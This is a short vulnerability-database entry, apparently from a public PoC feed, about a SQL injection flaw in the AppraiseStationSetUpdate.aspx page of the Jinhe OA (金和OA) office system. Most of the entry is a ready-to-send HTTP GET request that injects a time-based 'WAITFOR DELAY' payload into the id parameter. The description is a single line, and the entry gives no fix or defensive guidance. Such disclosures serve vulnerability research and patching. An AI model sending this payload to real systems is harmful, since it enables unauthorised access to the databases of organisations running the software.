金和OA AppraiseStationSetUpdate.aspx SQL注入漏洞

2025-10-24 金和OA PoC Public

Description

金和OA AppraiseStationSetUpdate.aspx SQL注入漏洞

PoC

GET /c6/Jhsoft.Web.Appraise/AppraiseStationSetUpdate.aspx/?id=1;WAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities